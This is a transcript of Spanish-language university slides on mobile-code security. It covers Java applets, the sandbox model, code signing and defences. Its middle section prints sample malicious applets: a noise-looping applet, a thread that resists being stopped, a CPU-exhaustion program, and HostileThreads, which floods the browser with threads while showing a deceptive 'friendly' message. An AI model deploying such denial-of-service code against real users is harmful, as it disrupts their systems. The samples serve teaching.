Download Virtual Memory - cryptomex.org
Document related concepts
no text concepts found
Transcript
SEGURIDAD EN CODIGO MOVIL Asesor: Dr. Roberto Gomez. Alumno: Jaime Alejandro Castellanos Jcastell Contenido Abstract Objetivo Introducción Preocupaciones en seguridad ¿Qué es el código móvil? Tecnologías : código móvil Java, un lenguaje para soportar código móvil Conclusiones Bibliografía Jcastell Abstract Con el crecimiento de computo distribuido y los sistemas de telecomunicaciones, se ha incrementado la demanda para el uso de “CODIGO MOVIL”, originado en sistemas remotos, posiblemente no confiables, pero ejecutados localmente. Los mejores ejemplos conocidos de este tipo de código son: WWW applets, Information Networking Architecture (TINA) y Dynamic Email. El uso de código móvil introduce una serie de riesgos de seguridad que debemos considerar. El objetivo de este trabajo es proporcionar técnicas que puedan ser usadas para ejecutar código móvil confiable en un sistema local, usando como herramienta el lenguaje de programación Java. Jcastell Objetivo El objetivo principal de este trabajo es proporcionar técnicas que puedan ser usadas para ejecutar un código móvil confiable en un sistema local, usando como herramienta el lenguaje de programación Java. . Jcastell Jcastell INTRODUCCION Jcastell El poder de las redes Computadoras como máquinas de cálculo. En 1970, Arpanet con aproximadamente 12 nodos. Herramienta de comunicación. Transferencia de archivos. En 1992 Tim Berners-Lee ( Web). Hipertexto (HTML). Actualmente se tienen registradas aproximadamente 30 millones de direcciones. Jcastell Internet: El mundo de las conexiones Jcastell Número de servidores de Web Jcastell La conexión de computadoras en red permite a los usuarios: Compartir datos Compartir programas Accesar máquinas remotas Recuperar datos Compartir el procesador Otros recursos computacionales Comunicación entre procesos Jcastell Preocupaciones en seguridad ¿A quién se le permite conectarse a una máquina en particular? ¿Quién puede tener acceso a un determinado recurso en una máquina compartida? ¿Cómo proteger datos usando encriptación? •Autentificación de passwords •Firewalls (SATAN) •Detección de intrusos basado en Inteligencia Artificial Jcastell La seguridad debe ser importante para diferentes clases de gente Usuarios de Web Desarrolladores de aplicaciones Administradores de sistemas Gente de negocios Jcastell Código móvil Es un código fuente almacenado en un lugar remoto, posiblemente de un lugar no confiable, pero ejecutado localmente. Ejemplos de código móvil: Web applets Dynamics e-mail TINA Jcastell Concepto de código móvil Agente móvil Código móvil Downloadable code Local ejecución y código fuente remoto Contenedor ejecutable Capsulas activas Código remoto Jcastell Código móvil Este tipo de código navega por la red y se ejecuta de manera automática en las computadoras de los clientes; habilita a los usuarios a bajar applets muy útiles, ver videos con un navegador y accesar aplicaciones de comercio electrónico. Jcastell El uso de código móvil trae como consecuencias obvias las siguientes medidas de seguridad Acceso de control Autentificación de usuarios Integridad de los datos Confiabilidad de los datos Jcastell Tipos de ataques que se necesitan proteger Negación del servicio Revelación de información confidencial Dañar o modificar los datos Ataques molestos Jcastell Ejemplos Video por demanda puede scanear archivos locales para obtener información. Un juego en línea puede abrir una conexión para ejecutar un programa localmente. Un programa invisible puede capturar información de las actividades del sistema. Jcastell Acceso a recursos y seguridad Cualquier proceso en ejecución tiene acceso a recursos del sistema para ejecutar su tarea. Jcastell Tipos de recursos que se necesitan accesar Sistema de archivos Red Memoria random Dispositivos de salida Dispositivos de entrada Control de procesos Ambiente del usuario Sistemas de llamadas Jcastell Host resources Recurso Revelación Disponibilidad Integridad Molestia File system x x x Network x Random memory x x x x Output Devices Input Devices x x x x Process control User environment x System calls x x x x x x Jcastell x x x x Políticas de acceso a los recursos Fijas para todo código móvil. Los usuarios verifican cada petición de acceso. Negociación por cada unidad de código móvil. Jcastell Tecnologías: Código móvil (propuestas) Basadas por el tipo de código distribuido. Código fuente Código intermedio Código binario Tiempo de compilación Jcastell Código fuente El código fuente deberá ser verificado y ejecutado por un intérprete en el sistema del usuario. El intérprete es responsable de verificar el código, su sintaxis y semántica. Proporcionar una ejecución segura. (sandbox) Jcastell Intermediate code La segunda propuesta es proporcionar un código móvil independiente de la plataforma, el cuál es distribuido al sistema del usuario. Este código intermedio es ejecutado por un intérprete en el sistema del usuario. Jcastell Ventajas Es más rápido de interpretar que el código fuente (no parsing). No es necesaria una verificación textual. El código intermedio es más cercano al código de la máquina. El intérprete proporciona los mecanismos de seguridad (sandbox). La seguridad del sistema depende del intérprete. El código en general es mucho más pequeño. Jcastell Intermediate code Java Telescript •Crear aplicaciones distribuidas usando código móvil •Movil agent => procesos emigrantes •Objetos persistentes •Políticas de autentificación Jcastell Native Binary Code Máxima velocidad. El código es dependiente de la plataforma. Se requiere del uso restringuido del conjunto de operaciones. Se requiere del uso restringuido del espacio de direcciones. Jcastell JIT Omniware, tecnología para código móvil. Escrito en C++. Compilado como un código intermedio para OmniVM. Se distribuye y en run time se convierte en código nativo (Binario) para su ejecución. Jcastell Applets maliciosos Un applet malicioso es un applet que ataca un sistema local. Existen maliciosos applets en el Web y pueden hacer daño de la siguiente manera: Jcastell Applets maliciosos Falsificando e-mails. Apoderarse del procesador. Bloquear el sistema, usando todos los recursos disponibles. Creados sólo para fastidiar: ejecutar archivos de sonidos continuamente, crean hilos de control para monitoriar el uso de Web, desplegar gráficas no deseadas. Jcastell Ejemplo de un malicioso applet import java.applet.AudioClip; import java.awt.*; public class NoisyApplet extends java.applet.Applet implements Runnable { Font msgFont = new Font("TimesRoman", Font.PLAIN, 36); Thread noisethread = null; // thread to run sound in Image jackImage; Image offscreenImage; Graphics offscreenGraphics; AudioClip bark; // sound Jcastell file variable Método Init public void init() { // Obtiene la imagen jackImage = getImage(getCodeBase(), "jack+waldog.jpg"); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); // Obtiene el sonido bark = getAudioClip(getCodeBase(), "bark.au"); } Jcastell //Método start public void start() { // start a thread to run the audio clip in if (noisethread == null) { noisethread = new Thread(this); noisethread.start(); } } } Jcastell // Método stop public void stop() { if (noisethread != null) { // uncommenting the following 2 lines will stop // the sound // if (bark != null) // bark.stop(); noisethread.stop(); noisethread = null; } } Jcastell //Método run public void run() { if (bark != null) bark.loop(); } Jcastell // Método paint public void paint(Graphics g) { int jack_width = jackImage.getWidth(this); int jack_height = jackImage.getHeight(this); offscreenGraphics.drawImage(jackImage, 0, 0, jack_width, jack_height, this); offscreenGraphics.setColor(Color.red); offscreenGraphics.setFont(msgFont); offscreenGraphics.drawString( "Walnut says HI HI HI ...", 150, 225); // actually draw the image g.drawImage(offscreenImage, 0, 0, this); } } Jcastell Using try/finally to defeat ThreadDeath. public void run() { try { //do somthing interesting here } catch(ThreadDeath td){System.out.println("Can't touch this!");} // Return from the dead finally{ Thread.reborn = new Thread(, "new"); reborn.start(); } } Jcastell <APPLET CODE="bluescreen.class" CODEBASE="http://www.digicrime.com/surprise" width=1 height=1> Decompilador Software. Jcastell Negación del servicio Consumir ciclos del CPU. Consumir memoria. Screen space. Jcastell import java.lang.System; import java.io.IOException; import java.lang.Math; class Ackerman { public static void main(String[] args) { long ackValue = 1; long exp = 0; if (args.length >= 1) { try { exp = Integer.parseInt(args[0]); } catch (NumberFormatException e) { exp = 0; } } Jcastell if (exp > 1) { ackValue = exp; int numLoops = (int)exp; for (int i = 1; i < numLoops; i++) { exp = ackValue; for (int j = 1; j < numLoops; j++) { ackValue = ackValue * exp; System.out.println("current value is " + ackValue); } } System.out.println("Ackerman vlue: " + ackValue); } } Jcastell /* HostileThreads.java */ /* This Java Applet tries inundate the browser with lots of wasteful threads. If that completes or fails, it then executes as cleanup a more hostile action. */ import java.awt.*; import java.applet.AudioClip; import java.net.*; Jcastell public class HostileThreads extends java.applet.Applet implements Runnable { // Just a font to paint strings to the applet window Font bigFont = new Font("TimesRoman", Font.BOLD, 36); Thread controller = null; Thread wasteResources[] = new Thread[1000]; // Used to read in a parameter that makes the thread sleep for a // specified number of seconds taking effect int delay; // Netscape will die barking! AudioClip bark; Jcastell public void init() { setBackground(Color.white); bark = getAudioClip(getCodeBase(),"Sounds/bark.au"); // Determine how many seconds the thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); try { for (int i = 0; i < 1000; i++) { wasteResources[i] = null; } } Jcastell catch (OutOfMemoryError o) {} finally { AttackThread q = new AttackThread(); Thread killer = new Thread(q); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } } Jcastell /* Create and start the main thread in the standard way */ public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } public void stop() {} Jcastell /* Create lots of threads which do lots of wasteful stuff */ public void run() { // Let the applet tell its lie repaint(); // Let the applet sleep for a while to avert suspicion try {controller.sleep(delay);} catch(InterruptedException e) {} // Make it bark when it awakens and goes to work bark.loop(); try {controller.sleep(3000);} Jcastell catch (InterruptedException e) {} try { for (int i = 0; i < 1000; i++) { if (wasteResources[i] == null) { AttackThread a = new AttackThread(); wasteResources[i] = new Thread(a); wasteResources[i].setPriority(Thread.MAX_PRIORITY); wasteResources[i].start(); } } } Jcastell catch (OutOfMemoryError o) {} finally { AttackThread q = new AttackThread(); Thread killer = new Thread(q); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } } /* Paints the applet's lie */ public void update(Graphics g) { paint(g); } Jcastell public void paint(Graphics g) { g.setColor(Color.blue); g.setFont(bigFont); g.drawString("I'm A Friendly Applet!", 10, 200); } } Jcastell Trojan horse applet attack applet Carlos Luis applet Web req Robo de información Alicia Jcastell 4. Change Page 1. Request Spoof URL 5. Spoofed Page Contents Victim’s www.attacker.org Browser 2. Request Real URL 3. Real Page Contents www.server.com Jcastell Java un lenguaje para web Páginas estáticas. Páginas dinámicas. Efectuar cálculos Desplegar resultados Aceptar entradas Java es un lenguaje de programación diseñado para usarse en todas la plataformas y permite implantar páginas Web basadas en código móvil, puede ser dinámicamente distribuido y ejecutado virtualmente por cualquier usuario de Web. Jcastell JVM Jcastell Aspectos fundamentales de Java Orientado a objetos Tipiado Multihilado Colector de basura No apuntadores Manejador de excepciones Link dinámico Portable Distruibuido Jcastell Sandbox Applet Class Web Page Web Browser 1 2 3 Byte-Code Verifier Applet Class Loader Security Manager Applet Class 4 Namespace Java Virtual Machine Jcastell 5 6 Acciones cuando un usuario hace un click en un hiperlink Se efectúa una búsqueda del código en el servidor Web. Verificación del código. Se cargan las clases. Se crean las instancias de clases. Se invocan métodos de clase. Se consulta al administrador de seguridad antes de ejecutarse el método. Jcastell Confiabilidad: applets y aplicaciones Aplicaciones confiables Applets no confiables Daños en la funcionalidad Modelo confiable de seguridad Jcastell Modelo confiable de seguridad Jcastell Jcastell Jcastell Jcastell Jcastell Check Key Binary Code Public Key Thing 1 Jcastell Check CA’s Key Netscape Navigator en Solaris Jcastell Netscape Navigator en Windows NT Jcastell Microsoft Internet Explorer Jcastell CONCLUSIONES Jcastell El lado obscuro del código móvil Tanto Java como ActiveX pueden introducir el potencial para crear un caos en la red. Jcastell Applets malignos y controles de ActiveX pueden borrar o copiar archivos, ejecutar programas en la PC del usuario o deshabilitar su sistema. Point Uno de los principales retos para proporcionar la ejecución confiable de un código móvil es determinar exactamente a que recurso se le va a permitir accesar. Esto significa que se necesita definir una política de seguridad para determinar qué tipo de acceso tiene permitido cualquier código móvil. Qué tipo de acceos y cómo son controlados es el punto de la investigación. Jcastell Algunas medidas de seguridad Fijar límites en el uso del CPU. Limitar el número de instrucciones que se puedan ejecutar. Limitar el número de ventanas. Un Threads no podra sobreescribir el método stop() fácilmente. Jcastell Lenguaje para soportar la seguridad Necesitamos la validación de la implementación sin comprometer la eficiencia. El sistema deberá ser diseñado en forma modular, separando la interfaz de la implementación. Remover librerias generales que puedan comprometer la seguridad y reemplazarlas por una mas específica. Reemplzar rutinas generales de acceso a los archivos con una que pueda escribir archivos sólo en un directorio temporal. Jcastell ¿Qué soluciones hay contra esa amenaza? Java 2 incluye un modelo con una política más selectiva que impone menos ataduras, sin embargo, preserva los mecanismos de control implícitos. Otra solución es el Authenticode; con éste, se puede insertar una firma digital en los formatos de los archivos, y certificados digitales verifican que el código no ha sido alterado. Jcastell Bibliografía Network Magazine Special report Mobile Code Safety Inside the Java 2 Virtual Machine Networking Mobility Bill Venners Securing Java Mobile Code and Security: Why Java Jcastell Bibliografía Weeb Security & Commerce Simon Garfinkel O´REILLY Jcastell